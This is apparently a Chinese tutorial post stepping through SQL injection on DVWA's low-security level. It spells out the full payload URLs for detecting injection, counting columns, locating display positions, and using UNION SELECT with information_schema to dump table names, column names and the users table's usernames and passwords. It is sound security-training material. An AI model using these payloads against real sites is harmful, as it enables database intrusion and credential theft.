type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)
一、Low 级(基本没有做防护或者只是最简单的防护)
引用:
博客园 SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索[https://cnblogs.com/impulse-/p/13184023.html]
含义:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
思路:判断是否存在注入,注入命令查询数据
实操:
1.先正常操作一次,观察URL变化
- 例如,输入2,点击Submit
- 观察到URL变为
- http://xxx.xxx.xxx.xxx:8000/vulnerabilities/sqli/?id=2&Submit=Submit#
- 分析URL,发现id=参数与输入的数字对应
2.判断是否存在注入
- 修改URL,id后加入1‘ and ‘1’ = ‘2判断注入类型
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=1' and '1'='2&Submit=Submit#
- 完整的SQL语句:SELECT first_name,last_name FROM users WHERE user_id = ‘1' and '1'='2’;(红色为添加的部分)
- 发现返回的结果为空,证明查询条件判断恒为假。
- 修改URL,id后加入1' or '321'='321判断注入类型
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=1' or '321'='321&Submit=Submit#
- 完整的SQL语句:SELECT first_name,last_name FROM users WHERE user_id = ‘1' or '321'='321’;(红色为添加的部分)
- 发现返回的结果为users表中所有的用户数据,证明查询条件判断恒为真。
- 同时,由单引号判断,这是一个字符型SQL注入。
3.判断字段数
- 加入单引号’ ,且在语句末尾加上注释符--+(注意后面得跟上+)
- 存在注入点,且单引号闭合
插一句话:SQL语句中的两个注释符(#和--)在使用上有一些区别。如果你在Hackbar中使用了--那么你就需要跟上+,而且#不生效。而如果你在文本框中使用#那么是生效的。这是由于URL编码造成的。详见https://cnblogs.com/impulse-/p/13184023.html
- 使用
order by
x
命令查询字段数 - http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=2' order by 3 --+&Submit=Submit#
- 发现当order by 3时,提示 Unknown column '3' in 'order clause'
- 当order by 2时,无报错
- 判断出字段数为2
4.判断显示位
- 使用联合查询
union select
x
,
x
命令判断显示位 - 将ID改为查不到数据的大小
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select 1,2 --+&Submit=Submit#
- 观察返回的数据
- 可知回显点为1和2
5.查询数据库版本 和 数据库名
- 查看当前数据库版本:
version()
- 查看当前数据库名:
database()
- 用两个命令替换刚才的1和2
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select version(),database() --+&Submit=Submit#
- 观察返回的数据
- 此时First name返回的数据为数据库版本,Surname返回的数据为数据库名。
6.输出当前数据库下的表名
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ &Submit=Submit#
- 观察返回的数据
- 此时First name返回的数据为数据库版本,Surname返回的数据为当前数据库下的表名。
7.输出users表下面的所有字段名
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ &Submit=Submit#
- 观察返回的数据
- 此时First name返回的数据为数据库版本,Surname返回的数据为当前数据库下的字段名。
7.输出users表中的user和password字段数据
- http://xxx.xxx.xxx.xxx:8000/dvwa/vulnerabilities/sqli/?id=-3' union select user,password from users limit 0,1--+ &Submit=Submit#
- 观察返回的数据
- 此时First name返回的数据为user,Surname返回的数据为password。